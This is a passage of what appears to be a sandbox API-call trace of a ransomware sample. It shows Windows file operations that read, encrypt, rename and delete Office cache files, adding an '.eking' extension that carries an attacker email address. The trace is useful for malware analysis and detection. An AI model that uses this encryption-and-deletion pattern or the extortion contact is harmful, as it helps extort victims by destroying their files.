[0217.930] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0217.931] FlushFileBuffers (hFile=0x17c) returned 1 [0218.699] CloseHandle (hObject=0x17c) returned 1 [0218.699] SetEvent (hEvent=0xe0) returned 1 [0218.700] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0218.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1606) returned 1 [0218.701] CloseHandle (hObject=0x17c) returned 1 [0218.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0218.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0218.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0218.701] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0218.701] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0218.701] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0218.701] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c4 [0218.702] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x646, lpOverlapped=0x0) returned 1 [0218.731] WriteFile (in: hFile=0x1c4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x650, lpOverlapped=0x0) returned 1 [0218.732] WriteFile (in: hFile=0x1c4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0218.732] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0218.732] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0218.732] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x646, lpOverlapped=0x0) returned 1 [0218.732] FlushFileBuffers (hFile=0x17c) returned 1 [0219.046] FlushFileBuffers (hFile=0x1c4) returned 1 [0219.828] CloseHandle (hObject=0x17c) returned 1 [0220.032] CloseHandle (hObject=0x1c4) returned 1 [0220.032] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0220.034] SetEvent (hEvent=0xe0) returned 1 [0220.034] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0220.035] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=17456632) returned 1 [0220.035] CloseHandle (hObject=0x1c4) returned 1 [0220.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0220.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0220.036] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0220.037] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0220.037] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0220.037] ReadFile (in: hFile=0x1c4, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0220.046] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0220.046] ReadFile (in: hFile=0x1c4, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0220.054] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0220.054] ReadFile (in: hFile=0x1c4, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0220.166] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0220.167] WriteFile (in: hFile=0x1c4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0220.265] SetEndOfFile (hFile=0x1c4) returned 1 [0220.265] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0220.265] WriteFile (in: hFile=0x1c4, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0220.268] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0220.268] WriteFile (in: hFile=0x1c4, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0220.269] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0220.269] WriteFile (in: hFile=0x1c4, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0220.270] FlushFileBuffers (hFile=0x1c4) returned 1 [0221.674] CloseHandle (hObject=0x1c4) returned 1 [0221.674] SetEvent (hEvent=0xe0) returned 1 [0221.683] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2507776) returned 1 [0221.716] CloseHandle (hObject=0x17c) returned 1 [0221.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0221.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0221.717] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.717] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0221.717] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0221.717] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0221.722] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0221.722] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0221.735] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0221.735] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0221.751] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0221.751] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0221.825] SetEndOfFile (hFile=0x17c) returned 1 [0221.825] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0221.825] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0221.829] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0221.829] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0221.833] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0221.833] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0221.835] FlushFileBuffers (hFile=0x17c) returned 1 [0223.872] CloseHandle (hObject=0x17c) returned 1 [0223.872] SetEvent (hEvent=0xe0) returned 1 [0223.873] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0223.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1452) returned 1 [0223.873] CloseHandle (hObject=0x17c) returned 1 [0223.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0223.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0223.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0223.874] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0223.874] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0223.874] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0223.874] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x168 [0223.874] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5ac, lpOverlapped=0x0) returned 1 [0223.876] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5b0, lpOverlapped=0x0) returned 1 [0223.877] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0223.877] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0223.877] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0223.877] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5ac, lpOverlapped=0x0) returned 1 [0223.877] FlushFileBuffers (hFile=0x17c) returned 1 [0223.888] FlushFileBuffers (hFile=0x168) returned 1 [0223.889] CloseHandle (hObject=0x17c) returned 1 [0223.890] CloseHandle (hObject=0x168) returned 1 [0223.890] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0223.891] SetEvent (hEvent=0xe0) returned 1 [0223.891] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0223.899] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=107912) returned 1 [0223.899] CloseHandle (hObject=0x168) returned 1 [0223.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0223.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0223.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0223.899] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0223.899] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0223.899] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0223.899] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0223.900] ReadFile (in: hFile=0x168, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x1a588, lpOverlapped=0x0) returned 1 [0223.903] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x1a590, lpOverlapped=0x0) returned 1 [0223.905] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0223.906] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0223.906] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0223.906] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1a588, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x1a588, lpOverlapped=0x0) returned 1 [0223.906] FlushFileBuffers (hFile=0x168) returned 1 [0224.011] FlushFileBuffers (hFile=0x17c) returned 1 [0225.085] CloseHandle (hObject=0x168) returned 1 [0225.085] CloseHandle (hObject=0x17c) returned 1 [0225.086] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0225.087] SetEvent (hEvent=0xe0) returned 1 [0225.089] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0225.098] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=838536) returned 1 [0225.098] CloseHandle (hObject=0x1ac) returned 1 [0225.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0225.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0225.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all 